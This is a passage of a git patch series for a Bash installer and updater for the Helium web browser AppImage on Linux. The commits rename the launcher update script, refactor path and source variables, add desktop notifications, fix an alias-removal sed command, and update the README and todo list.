"s|%QUIET_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template sed -i "s|%SCRIPT_UPDATE%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME -S|" $TMP/helium.desktop.template - sed -i "s|%OPEN_LOG_EDITOR%|xdg-open $LOG|" $TMP/helium.desktop.template + sed -i "s|%OPEN_LOG_EDITOR%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME -L|" $TMP/helium.desktop.template mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon echo -e "\n ${GRN}$APP_NAME_LONG launcher is set up!${CRS}" From 1a3927e68941ed908d9761b88953d64ec0870d52 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 13:05:22 +0100 Subject: [PATCH 048/106] Logging changed --- helium_auto_update.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/helium_auto_update.sh b/helium_auto_update.sh index ad335bc..6fba924 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -53,7 +53,8 @@ dependency_check () { if ! [ -d "$LOG_PATH" ] ; then mkdir -p $LOG_PATH - echo "########## $APP_NAME update log ##########" + echo "########## $APP_NAME_LONG update log ##########" >> $LOG + echo >> $LOG echo "${DATE} | Log created" >> $LOG fi From 99755d40fc74f30184df7d60dbd62dbf06819272 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 13:10:09 +0100 Subject: [PATCH 049/106] update --- helium_auto_update.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_auto_update.sh b/helium_auto_update.sh index 6fba924..46d7254 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -51,7 +51,7 @@ dependency_check () { done - if ! [ -d "$LOG_PATH" ] ; then + if ! [ -f "$LOG" ] ; then mkdir -p $LOG_PATH echo "########## $APP_NAME_LONG update log ##########" >> $LOG echo >> $LOG From c1ec805b1bea0adefae0d3c44a865ef1282ffcc5 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 14:25:16 +0100 Subject: [PATCH 050/106] Version bumped up --- helium_helper.sh | 27 +++++++------- ...uto_update.sh => helium_launcher_update.sh | 35 +++++++++++-------- todo.md | 22 ++++++++---- 3 files changed, 49 insertions(+), 35 deletions(-) rename helium_auto_update.sh => helium_launcher_update.sh (87%) diff --git a/helium_helper.sh b/helium_helper.sh index 0014d4f..c7c90f1 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -19,22 +19,23 @@ APP_NAME_LONG="Helium Web Browser" SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" -AUTO_SCRIPT_FILE_NAME="helium_auto_update.sh" -SCRIPT_VERSION="0.5.5" +AUTO_SCRIPT_FILE_NAME="helium_launcher_update.sh" +SCRIPT_VERSION="0.5.6" ALIAS="update-helium" ## LOCATIONS TMP=/tmp/$APP_NAME INSTALL_PATH=$HOME/.apps/$APP_NAME -CONFIG_PATH=$INSTALL_PATH/assets -BACKUP_PATH=$INSTALL_PATH/assets/backup -LOG_PATH=$INSTALL_PATH/assets/logs +ASSET_PATH=$INSTALL_PATH/assets +BACKUP_PATH=$ASSET_PATH/backup +LOG_PATH=$ASSET_PATH/logs LOG=$LOG_PATH/log LAUNCHER_PATH=$HOME/.local/share/applications SCRIPT_PATH=$HOME/.local/bin ## REMOTE LOCATIONS -REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME +REMOTE_REPO_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main +REMOTE_SCRIPT_URL=$REMOTE_REPO_URL/$SCRIPT_FILE_NAME SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/latest ########## FUNCTIONS ########### @@ -129,11 +130,11 @@ add_launcher() { echo if [[ "$CONFIRM_LAUNCHER" == "" || "$CONFIRM_LAUNCHER" == "y" || "$CONFIRM_LAUNCHER" == "Y" ]] ; then - LAUNCHER_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/assets/launcher/helium.desktop.template - ICON_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/assets/icon/helium.png - AUTO_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$AUTO_SCRIPT_FILE_NAME + LAUNCHER_URL=$REMOTE_REPO_URL/assets/launcher/helium.desktop.template + ICON_URL=$REMOTE_REPO_URL/assets/icon/helium.png + AUTO_SCRIPT_URL=$REMOTE_REPO_URL/$AUTO_SCRIPT_FILE_NAME LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') - mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $CONFIG_PATH/icon + mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $ASSET_PATH/icon if ! [ -f "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" ] ; then wget -P $TMP $AUTO_SCRIPT_URL -q --show-progress chmod +x $TMP/$AUTO_SCRIPT_FILE_NAME @@ -143,13 +144,13 @@ add_launcher() { wget -P $TMP $LAUNCHER_URL -q --show-progress wget -P $TMP $ICON_URL -q --show-progress sed -i "s|%APP_LOCATION%|$INSTALL_PATH/$APP_NAME.AppImage|" $TMP/helium.desktop.template - sed -i "s|%ICON_LOCATION%|$CONFIG_PATH/icon/helium.png|" $TMP/helium.desktop.template + sed -i "s|%ICON_LOCATION%|$ASSET_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template sed -i "s|%QUIET_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template sed -i "s|%SCRIPT_UPDATE%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME -S|" $TMP/helium.desktop.template sed -i "s|%OPEN_LOG_EDITOR%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME -L|" $TMP/helium.desktop.template mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop - mv $TMP/helium.png $CONFIG_PATH/icon + mv $TMP/helium.png $ASSET_PATH/icon echo -e "\n ${GRN}$APP_NAME_LONG launcher is set up!${CRS}" break @@ -273,7 +274,7 @@ update_helium() { } -### AUTOMATIC UPDATE --> TO DO +### AUTOMATIC UPDATE --> TO DO? auto_update() { if ! [ -f "$INSTALL_PATH/$APP_NAME.AppImage" ] ; then echo -e "\n ${RED}$APP_NAME AppImage not found! Can't add auto update script...${CRS}" diff --git a/helium_auto_update.sh b/helium_launcher_update.sh similarity index 87% rename from helium_auto_update.sh rename to helium_launcher_update.sh index 46d7254..8e18c01 100755 --- a/helium_auto_update.sh +++ b/helium_launcher_update.sh @@ -9,25 +9,26 @@ set -e APP_NAME="Helium" APP_NAME_LONG="Helium Web Browser" SOURCE="GitHub" -SCRIPT_NAME="$APP_NAME quiet updater" -SCRIPT_FILE_NAME="helium_auto_update.sh" -SCRIPT_VERSION="0.5.5" +SCRIPT_NAME="$APP_NAME launcher updater" +SCRIPT_FILE_NAME="helium_launcher_update.sh" +SCRIPT_VERSION="0.5.6" ALIAS="auto-update-helium" +DATE=$(date) ## LOCATIONS TMP=/tmp/$APP_NAME INSTALL_PATH=$HOME/.apps/$APP_NAME -CONFIG_PATH=$INSTALL_PATH/assets -BACKUP_PATH=$INSTALL_PATH/assets/backup -LOG_PATH=$INSTALL_PATH/assets/logs +ASSET_PATH=$INSTALL_PATH/assets +BACKUP_PATH=$ASSET_PATH/backup +LOG_PATH=$ASSET_PATH/logs LOG=$LOG_PATH/log LAUNCHER_PATH=$HOME/.local/share/applications -ICON=$CONFIG_PATH/icon/helium.png +ICON=$ASSET_PATH/icon/helium.png SCRIPT_PATH=$HOME/.local/bin -DATE=$(date) ## REMOTE LOCATIONS -REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME +REMOTE_REPO_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main +REMOTE_SCRIPT_URL=$REMOTE_REPO_URL/$SCRIPT_FILE_NAME SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/latest ########## FUNCTIONS ########### @@ -62,6 +63,7 @@ dependency_check () { if [ -f "$TMP/missingDeps" ] ; then MISSING=$(cat $TMP/missingDeps) echo "${DATE} | Failed to update - missing dependencies : $MISSING" >> $LOG + notify-send -i "$ICON" "Helium Helper" "Update failed! See log for details" exit_clean fi @@ -69,10 +71,12 @@ dependency_check () { if ! [ -d "$INSTALL_PATH" ] ; then mkdir -p $INSTALL_PATH echo "${DATE} | Failed to update - $APP_NAME installation path not present - But created for logging" >> $LOG + notify-send -i "$ICON" "Helium Helper" "Update failed! See log for details" exit elif ! [ -f "$INSTALL_PATH/$APP_NAME.AppImage" ] ; then echo "${DATE} | Failed to update - Local $APP_NAME AppImage not found" >> $LOG + notify-send -i "$ICON" "Helium Helper" "Update failed! See log for details" exit fi @@ -196,8 +200,9 @@ show_log() { ### HELP help() { - echo -e "\n${LCY}${SCRIPT_NAME}${CRS}\n" - echo -e "$APP_NAME_LONG automatic updater script\n" + echo -e "\n${LCY}$SCRIPT_NAME${CRS}\n" + echo -e "$APP_NAME_LONG launcher updater script\n" + echo -e "Description: Add functionality to $APP_NAME_LONG's launcher\n" echo -e "Syntax: $SCRIPT_FILE_NAME [ -s | -S | -L | -h ]\n" echo -e "Options:\n" echo -e "\t-s\tShow script version" @@ -205,10 +210,10 @@ help() { echo -e "\t-L\tOpen log in default text editor" echo -e "\t-h\tPrint this help page.\n" echo -e "Configured locations:\n" - echo -e "\t${CYN}${INSTALL_PATH}${CRS}\t\tInstall location" - echo -e "\t${CYN}${LAUNCHER_PATH}${CRS}\tLauncher location" - echo -e "\t${CYN}${SCRIPT_PATH}${CRS}\t\t\tScript location\n" - echo -e "\t${CYN}${LOG_PATH}${CRS}\t\tLog location\n" + echo -e "\t${CYN}$INSTALL_PATH${CRS}\t\tInstall location" + echo -e "\t${CYN}$LOG_PATH${CRS}\tLog location" + echo -e "\t${CYN}$LAUNCHER_PATH${CRS}\tLauncher location" + echo -e "\t${CYN}$SCRIPT_PATH${CRS}\t\t\tScript location\n" } ### EXIT CLEAN diff --git a/todo.md b/todo.md index fd46dc7..e7d063a 100644 --- a/todo.md +++ b/todo.md @@ -7,19 +7,27 @@ - Launcher installer refined - Clean Up - Script updater + - Remote script check simplified +- Remover function extended + - Alias remover added + - Script remover added +- helium_auto_update.sh renamed to helium_launcher_update.sh +- Desktop notifications added +- Launcher functions extended + - Update script option added + - Show log option added +- Variables universalized +- Wiki created -## Add -- Internet connectivity check in [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) -- Auto update setup - - shell recognition missing +## Add/To Do - Architecture detection - Set alias --> Partially - shell recognition missing - Roll back from backup - Config check -- Desktop notifications in [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) -- Log viewer & config editor -- Add alias remover to remover function +- Simplification & Clean Up +- Update Readme +- Make functional launcher optional ## Repo - Merge workflow From 5aa8ee19157dfd2f81040f856c3f80d716c21675 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 15:17:00 +0100 Subject: [PATCH 051/106] Readme update --- README.md | 38 +++++++++++++++++++++++++++----------- 1 file changed, 27 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 14d237a..b141651 100644 --- a/README.md +++ b/README.md @@ -1,19 +1,35 @@ # Helium Bowser installer & updater +## Purpose +This script was initially designed to just update my Helium browser but over time and interest it got more functional and universal. With "little" tinkering it should be possible to apply this script to install, update & configure many kinds of releases from source like AppImages, binaries, etc... ## Overview ### Helium_Helper.sh -- Interactive installer and updater script +- Interactive installer, updater & configuration script - Installs to `/home//.apps/Helium` | changeable in line 28 `INSTALL_PATH` - Assumes: - Presence of `/home//.apps/Helium` when updating | changeable in line 28 `INSTALL_PATH` - - Executable named `Helium.AppImage` | for convenience so launchers don't have to be edited at each update -- Keeps prior AppImage as `Helium.old` which will be replaced at every update + - Executable named `Helium.AppImage` +- Keeps backups of + - `Helium.AppImage` --> `Helium.AppImage.old` + - `helium_helper.sh` --> `helium_helper.sh.old` + - `helium_launcher_update.sh` --> `helium_launcher_update.sh.old` + - `Helium.desktop` --> `Helium.desktop.old` + which will be overwritten at every update - Adds desktop launcher to `/home//.local/share/applications` - -### Helium_Auto_Update.sh -- Automatic updater script -- Installs to `/home//.apps/Helium` | changeable in line 8 `INSTALL_PATH` +- Adds options to launcher which are run by `helium_launcher_updater.sh` + - Update Helium + - Update Script + - View Log +- Run `helium_helper.sh -h` for help +--- +### Helium_Launcher_Update.sh +- Update Helium from launcher - Assumes: - - Presence of `/home//.apps/Helium` when updating | changeable in line 8 `INSTALL_PATH` - - Executable named `helium-browser.AppImage` | for convenience so launchers don't have to be edited at each update -- Loggs to `/home//.apps/Helium/updateLog` -- Keeps prior AppImage as `helium-browser.OldAppImage` which will be replaced at every update + - Presence of `/home//.apps/Helium` when updating | changeable in line 19 `INSTALL_PATH` + - Executable named `Helium.AppImage` +- Loggs to `/home//.apps/Helium/assets/logs` +- Keeps backups of + - `Helium.AppImage` --> `Helium.AppImage.old` + - `helium_helper.sh` --> `helium_helper.sh.old` + - `helium_launcher_update.sh` --> `helium_launcher_update.sh.old` + - `Helium.desktop` --> `Helium.desktop.old` + which will be overwritten at every update From f79c997f16f7b69abfda6b653b4008bf05dcb8de Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 15:17:22 +0100 Subject: [PATCH 052/106] Alias removed --- helium_launcher_update.sh | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index 8e18c01..35a5500 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -12,7 +12,6 @@ SOURCE="GitHub" SCRIPT_NAME="$APP_NAME launcher updater" SCRIPT_FILE_NAME="helium_launcher_update.sh" SCRIPT_VERSION="0.5.6" -ALIAS="auto-update-helium" DATE=$(date) ## LOCATIONS @@ -162,10 +161,10 @@ update_helium() { mkdir -p $TMP $BACKUP_PATH wget -P $TMP $DOWNLOAD_URL -q --show-progress chmod +x $TMP/$SOURCE_FILENAME - if [ -f "$BACKUP_PATH/$APP_NAME.old" ] ; then - rm $BACKUP_PATH/$APP_NAME.old + if [ -f "$BACKUP_PATH/$APP_NAME.AppImage.old" ] ; then + rm $BACKUP_PATH/$APP_NAME.AppImage.old fi - mv $INSTALL_PATH/$APP_NAME.AppImage $BACKUP_PATH/$APP_NAME.old + mv $INSTALL_PATH/$APP_NAME.AppImage $BACKUP_PATH/$APP_NAME.AppImage.old mv $TMP/$SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.AppImage cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop From 0bdf836eb3fab31a48ce2e5f8d7a8f80394e9720 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 15:21:24 +0100 Subject: [PATCH 053/106] Readme update --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index b141651..ac7a87d 100644 --- a/README.md +++ b/README.md @@ -33,3 +33,4 @@ This script was initially designed to just update my Helium browser but over tim - `helium_launcher_update.sh` --> `helium_launcher_update.sh.old` - `Helium.desktop` --> `Helium.desktop.old` which will be overwritten at every update +- Run `helium_launcher_update.sh -h` for help \ No newline at end of file From 2d8c2546218dcc0cea92c540ef79b94ec5ea2728 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 18:53:36 +0100 Subject: [PATCH 054/106] update --- helium_launcher_update.sh | 2 +- todo.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index 35a5500..f7f194d 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -264,4 +264,4 @@ dependency_check update_helium ## CLEAN -exit_clean \ No newline at end of file +exit_clean diff --git a/todo.md b/todo.md index e7d063a..0a260d2 100644 --- a/todo.md +++ b/todo.md @@ -25,7 +25,7 @@ - shell recognition missing - Roll back from backup - Config check -- Simplification & Clean Up +- Simplification (more for loops) & Clean Up - Update Readme - Make functional launcher optional From 17d2815039839b1203531e1b0ff6d01342acfb77 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 22:30:02 +0100 Subject: [PATCH 055/106] Fixed faulty sed command in removal function --- helium_helper.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index c7c90f1..f809ae6 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -308,10 +308,10 @@ remove_helium() { fi if [ -f "$HOME/.zshrc" ] ; then - sed -i "s|$ALIAS|d|" $HOME/.zshrc + sed -i "/$ALIAS/d" $HOME/.zshrc elif [ -f "$HOME/.bashrc" ] ; then - sed -i "s|$ALIAS|d|" $HOME/.bashrc + sed -i "/$ALIAS/d" $HOME/.bashrc fi From 75c5bffbe9243876f471e6b3e51748cd39b40abc Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 23:33:01 +0100 Subject: [PATCH 056/106] Multiple variables added --- helium_helper.sh | 90 ++++++++++++++++++++------------------- helium_launcher_update.sh | 49 +++++++++++---------- 2 files changed, 72 insertions(+), 67 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index f809ae6..d18c3f0 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -1,7 +1,6 @@ #!/bin/bash # Helium BOWSER INSTALL & UPDATE SCRIPT ---> INTERACTIVE - ########## PREREQUISITES ########### set -e @@ -16,7 +15,9 @@ CRS="\e[0m" ## GLOBAL VARIABLES APP_NAME="Helium" APP_NAME_LONG="Helium Web Browser" -SOURCE="GitHub" +ARCH="x86_64" +FILE_EXTENSION="AppImage" +APP_SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" AUTO_SCRIPT_FILE_NAME="helium_launcher_update.sh" @@ -34,9 +35,10 @@ LAUNCHER_PATH=$HOME/.local/share/applications SCRIPT_PATH=$HOME/.local/bin ## REMOTE LOCATIONS -REMOTE_REPO_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main +REMOTE_REPO_BRANCH="main" +REMOTE_REPO_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/$REMOTE_REPO_BRANCH REMOTE_SCRIPT_URL=$REMOTE_REPO_URL/$SCRIPT_FILE_NAME -SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/latest +APP_SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/latest ########## FUNCTIONS ########### @@ -74,8 +76,8 @@ local_check() { install_helium exit - elif ! [ -f "$INSTALL_PATH/$APP_NAME.AppImage" ] ; then - echo -e "\n ${RED}$APP_NAME_LONG directory found but no executable named ${CYN}$APP_NAME.AppImage${RED}!${CRS}" + elif ! [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then + echo -e "\n ${RED}$APP_NAME_LONG directory found but no executable named ${CYN}$APP_NAME.$FILE_EXTENSION${RED}!${CRS}" install_helium exit @@ -84,7 +86,7 @@ local_check() { ### INSTALL install_helium() { - if [ -f "$INSTALL_PATH/$APP_NAME.AppImage" ] ; then + if [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then echo -e "\n ${YEL}$APP_NAME_LONG AppImage found! Trying to update...${CRS}" update_helium exit @@ -92,16 +94,16 @@ install_helium() { fi while true ; do - read -p " Download and install $APP_NAME_LONG from $SOURCE? (Y/n) : " CONFIRM_INSTALL + read -p " Download and install $APP_NAME_LONG from $APP_SOURCE? (Y/n) : " CONFIRM_INSTALL echo if [[ "$CONFIRM_INSTALL" == "" || "$CONFIRM_INSTALL" == "y" || "$CONFIRM_INSTALL" == "Y" ]] ; then - DOWNLOAD_URL=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') - SOURCE_FILENAME=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') + DOWNLOAD_URL=$(curl -s $APP_SOURCE_URL | grep "browser_download_url" | grep "$ARCH.$FILE_EXTENSION" | grep -v "zsync" | tr -d \" | awk '{print $2}') + APP_SOURCE_FILENAME=$(curl -s $APP_SOURCE_URL | grep "browser_download_url" | grep "$ARCH.$FILE_EXTENSION" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') wget -P $TMP $DOWNLOAD_URL -q --show-progress - chmod +x $TMP/$SOURCE_FILENAME + chmod +x $TMP/$APP_SOURCE_FILENAME mkdir -p $INSTALL_PATH - mv $TMP/$SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.AppImage + mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION add_launcher echo -e "\n ${GRN}$APP_NAME_LONG is installed!${CRS}\n" break @@ -123,7 +125,7 @@ add_launcher() { if [ -f "$LAUNCHER_PATH/$APP_NAME.desktop" ] ; then echo -e "\n ${YEL}${APP_NAME}.desktop already exists!${CRS}" - elif [ -f "$INSTALL_PATH/$APP_NAME.AppImage" ] ; then + elif [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then while true ; do echo read -p " Add $APP_NAME_LONG launcher to $LAUNCHER_PATH? (Y/n) : " CONFIRM_LAUNCHER @@ -133,7 +135,7 @@ add_launcher() { LAUNCHER_URL=$REMOTE_REPO_URL/assets/launcher/helium.desktop.template ICON_URL=$REMOTE_REPO_URL/assets/icon/helium.png AUTO_SCRIPT_URL=$REMOTE_REPO_URL/$AUTO_SCRIPT_FILE_NAME - LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') + LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}') mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $ASSET_PATH/icon if ! [ -f "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" ] ; then wget -P $TMP $AUTO_SCRIPT_URL -q --show-progress @@ -143,7 +145,7 @@ add_launcher() { wget -P $TMP $LAUNCHER_URL -q --show-progress wget -P $TMP $ICON_URL -q --show-progress - sed -i "s|%APP_LOCATION%|$INSTALL_PATH/$APP_NAME.AppImage|" $TMP/helium.desktop.template + sed -i "s|%APP_LOCATION%|$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION|" $TMP/helium.desktop.template sed -i "s|%ICON_LOCATION%|$ASSET_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template sed -i "s|%QUIET_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template @@ -206,12 +208,12 @@ add_alias() { ### WORKS BUT NEEDS WORK ### UPDATE update_helium() { - LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') - SOURCE_VERSION=$(curl -s $SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') + LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}') + APP_SOURCE_VERSION=$(curl -s $APP_SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') ### CHECK FOR EMPTY VERSION TAGS - if [ -z "$SOURCE_VERSION" ] ; then - echo -e "\n ${RED}Empty version tag from ${CYN}$SOURCE${RED}! Can't compare, exiting...${CRS}" + if [ -z "$APP_SOURCE_VERSION" ] ; then + echo -e "\n ${RED}Empty version tag from ${CYN}$APP_SOURCE${RED}! Can't compare, exiting...${CRS}" exit elif [ -z "$LOCAL_VERSION" ] ; then @@ -222,33 +224,33 @@ update_helium() { ### COMPARE LOCAL & REMOTE VERSION LOCAL_VERSION_NUM=$(echo $LOCAL_VERSION | tr -d .) - SOURCE_VERSION_NUM=$(echo $SOURCE_VERSION | tr -d .) + APP_SOURCE_VERSION_NUM=$(echo $APP_SOURCE_VERSION | tr -d .) - if [ "$SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then + if [ "$APP_SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then echo -e "\n ${GRN}$APP_NAME_LONG is already up-to-date!${CRS}\n" - elif [ "$SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then + elif [ "$APP_SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then echo -e "\n ${LCY}$APP_NAME_LONG is updatable!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$SOURCE Version :\t${CRS}${SOURCE_VERSION}\n" + echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" while true ; do - read -p " Download and update $APP_NAME_LONG from $SOURCE? (Y/n) : " CONFIRM + read -p " Download and update $APP_NAME_LONG from $APP_SOURCE? (Y/n) : " CONFIRM echo if [[ "$CONFIRM" == "" || "$CONFIRM" == "y" || "$CONFIRM" == "Y" ]] ; then - DOWNLOAD_URL=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') - SOURCE_FILENAME=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') + DOWNLOAD_URL=$(curl -s $APP_SOURCE_URL | grep "browser_download_url" | grep "$ARCH.$FILE_EXTENSION" | grep -v "zsync" | tr -d \" | awk '{print $2}') + APP_SOURCE_FILENAME=$(curl -s $APP_SOURCE_URL | grep "browser_download_url" | grep "$ARCH.$FILE_EXTENSION" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') mkdir -p $TMP $BACKUP_PATH wget -P $TMP $DOWNLOAD_URL -q --show-progress - chmod +x $TMP/$SOURCE_FILENAME + chmod +x $TMP/$APP_SOURCE_FILENAME if [ -f "$BACKUP_PATH/$APP_NAME.old" ] ; then rm $BACKUP_PATH/$APP_NAME.old fi - mv $INSTALL_PATH/$APP_NAME.AppImage $BACKUP_PATH/$APP_NAME.old - mv $TMP/$SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.AppImage + mv $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION $BACKUP_PATH/$APP_NAME.old + mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old - sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop + sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop echo -e "\n ${GRN}$APP_NAME_LONG is up-to-date !${CRS}\n" break @@ -266,7 +268,7 @@ update_helium() { else echo -e "\n ${RED}Version tags malformed or you are using a Beta version!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$SOURCE Version :\t${CRS}${SOURCE_VERSION}\n" + echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" echo -e " ${RED}Update failed... Exiting...${CRS}\n" exit @@ -276,7 +278,7 @@ update_helium() { ### AUTOMATIC UPDATE --> TO DO? auto_update() { - if ! [ -f "$INSTALL_PATH/$APP_NAME.AppImage" ] ; then + if ! [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then echo -e "\n ${RED}$APP_NAME AppImage not found! Can't add auto update script...${CRS}" exit @@ -440,12 +442,12 @@ update_script() { ### COMPARE APPIMAGE VERSION compare_version() { - LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') - SOURCE_VERSION=$(curl -s $SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') + LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}') + APP_SOURCE_VERSION=$(curl -s $APP_SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') ### CHECK FOR EMPTY VERSION TAGS - if [ -z "$SOURCE_VERSION" ] ; then - echo -e "\n ${RED}Empty version tag from ${CYN}$SOURCE${RED}! Can't compare, exiting...${CRS}" + if [ -z "$APP_SOURCE_VERSION" ] ; then + echo -e "\n ${RED}Empty version tag from ${CYN}$APP_SOURCE${RED}! Can't compare, exiting...${CRS}" exit elif [ -z 